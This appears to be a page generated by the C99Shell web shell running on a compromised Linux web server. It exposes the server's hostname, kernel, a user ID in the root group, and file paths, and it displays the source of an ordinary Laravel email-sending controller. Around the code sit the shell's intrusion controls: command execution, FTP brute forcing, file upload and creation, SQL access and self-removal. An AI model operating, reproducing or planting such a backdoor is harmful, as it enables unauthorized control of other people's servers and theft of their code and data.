!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/ecom1.picotech.app/public_html_ecom1/app/Http/Controllers/   drwxr-xr-x
Free 27.3 GB of 117.98 GB (23.14%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     EmailController.php (7.27 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/**
 * @package AuthController
 * @author TechVillage <support@techvill.org>
 * @contributor Sabbir Al-Razi <[sabbir.techvill@gmail.com]>
 * @created 20-05-2021
 */

namespace App\Http\Controllers;
use 
App\Http\Controllers\Controller;
use 
Modules\MediaManager\Http\Models\ObjectFile;
use 
Config;
use 
DB;
use 
Mail;
use 
PHPMailer\PHPMailer\PHPMailer;
use 
Session;
use 
App\Models\{
    
Preference,
    
EmailConfiguration,
    
File,
    
User
};
use 
Illuminate\Http\Request;

class 
EmailController extends Controller

{
    
/**
     * The array of success message if email sent.
     *
     * @var array
     */
    
protected $successResponse = [];

    
/**
     * The array of fail message if email not sent.
     *
     * @var array
     */
    
protected $failResponse = [];

    
/**
     * The array of message of email, either send email or not.
     *
     * @var array
     */
    
protected $response = [];

    
/**
     * Constructor.
     */
    
public function __construct()
    {
        
$this->successResponse = [
            
'status'  => true,
            
'message' => __(':x sent successfully.', ['x' => __('Email')])
        ];

        
$this->failResponse = [
            
'status'  => false,
            
'message' => __(':x can not be sent, please check email configuration or try again.', ['x' => __('Email')])
        ];

        
$this->response $this->successResponse;
    }

    
/**
     * send mail
     *
     * @param $to
     * @param $subject
     * @param $messageBody
     * @param $attachments
     * @param $companyName
     * @return array
     */
    
public function sendEmail($to$subject$messageBody$attachments = [], $companyName null)
    {
        
$mail     = new \App\libraries\MailService();
        
$dataMail = [];
        if (!empty(
$attachments)) {
            
$dataMail = array(
                
'to'      => array($to),
                
'subject' => $subject,
                
'content' => $messageBody,
                
'attach'  => $attachments
            
);
        } else {
            
$dataMail = array(
                
'to'      => array($to),
                
'subject' => $subject,
                
'content' => $messageBody,
            );
        }
        
$emailInfo EmailConfiguration::getAll()->first();
        if (
$emailInfo && $emailInfo->protocol == 'smtp')
        {

            try {
                
$this->setupEmailConfig($companyName);
                
$mail->send($dataMail'admin.emails.content');
            } catch (
\Exception $e) {
                
$this->response $this->failResponse;
            }
        } else {
            
$return $this->sendPhpEmail($to$subject$messageBody$emailInfo'');
            if (empty(
$return)) {
                
$this->response $this->failResponse;
            }
        }

        return 
$this->response;
    }

    
/**
     * send mail with attachment
     *
     * @param $to
     * @param $subject
     * @param $messageBody
     * @param $invoiceName
     * @param $companyName
     * @return array
     */
    
public function sendEmailWithAttachment($to$subject$messageBody$invoiceName$companyName null)
    {
        
$mail     = new \App\libraries\MailService();
        
$dataMail = [];
        
$dataMail = array(
            
'to'      => array($to),
            
'subject' => $subject,
            
'content' => $messageBody,
            
'attach'  => url("public/uploads/invoices/$invoiceName"),
        );

        
$emailInfo EmailConfiguration::getAll()->first();
        if (!empty(
$emailInfo) && $emailInfo->protocol == 'smtp') {
            try {
                
$this->setupEmailConfig($companyName);
                
$mail->send($dataMail'admin.emails.content');
            } catch (
\Exception $e) {
                
$this->response $this->failResponse;
            }
        } else {
            
$return $this->sendPhpEmail($to$subject$messageBody$emailInfo$invoiceName);
            if (empty(
$return)) {
                
$this->response $this->failResponse;
            }
        }

        @
unlink(public_path('/uploads/invoices/' $invoiceName));

        return 
$this->response;
    }

    
/**
     * email config
     *
     * @param $companyName
     * @return void
     */
    
public function setupEmailConfig($companyName null)
    {
        
$result EmailConfiguration::getAll()->first();
        
$value = ['address' => isset($result->from_address) ? $result->from_address '''name' => isset($result->from_name) ? $result->from_name ''];

        if (!empty(
$companyName)) {
           
$value = ['address' => isset($result->from_address) ? $result->from_address '''name' => $companyName];
        }

        
Config::set([
            
'mail.driver'     => isset($result->protocol) ? $result->protocol '',
            
'mail.host'       => isset($result->smtp_host) ? $result->smtp_host '',
            
'mail.port'       => isset($result->smtp_port) ? $result->smtp_port '',
            
'mail.from'       => $value,
            
'mail.encryption' => isset($result->encryption) ? $result->encryption '',
            
'mail.username'   => isset($result->smtp_username) ? $result->smtp_username '',
            
'mail.password'   => isset($result->smtp_password) ? $result->smtp_password '',

        ]);
    }

    
/**
     * @param $to
     * @param $subject
     * @param $message
     * @param $emailInfo
     * @param $invoiceName
     * @return bool
     * @throws \PHPMailer\PHPMailer\Exception
     */
    
public function sendPhpEmail($to$subject$message$emailInfo$invoiceName)
    {
        require 
'vendor/autoload.php';
        
$preference Preference::getAll()->pluck('value''field')->toArray();
        
$mail           = new PHPMailer();
        
$cus_name       User::where('email'$to)->first();
        
$mail->From     $preference['company_email'];
        
$mail->FromName $preference['company_name'];
        
$mail->AddAddress($to);
        
$mail->WordWrap 50;
        
$mail->IsHTML(true);
        
$mail->Subject $subject;
        
$mail->Body    $message;
        
$mail->AltBody strip_tags("Message");
        if (!empty(
$invoiceName))
        {
            return 
$mail->AddAttachment(public_path() . ("/uploads/invoices" '/' $invoiceName), "Invoice"'base64''application/pdf');
        }

        return 
$mail->Send();
    }

    
/**
     * Email Verify Setting
     * @param Request $request
     * @return \Illuminate\Contracts\View\View
     */
    
public function emailVerifySetting(Request $request)
    {
        if (
$request->isMethod('GET')) {
            
$data['list_menu'] = 'email_verify_setting';
            return 
view('admin.emails.user-verification'$data);
        }

        if (empty(
$request->verification)) {
            return 
redirect()->back()->withErrors(__('Something went wrong, please try again.'));
        }

        
$updatedPreference = (new Preference)->storeOrUpdate(
            [
'category' => 'verification''field' => 'email''value' => $request->verification]
        );

        if (
$updatedPreference) {
            return 
redirect()->back()->withSuccess(__('User verification updated successfully.'));
        }
    }

}


:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0043 ]--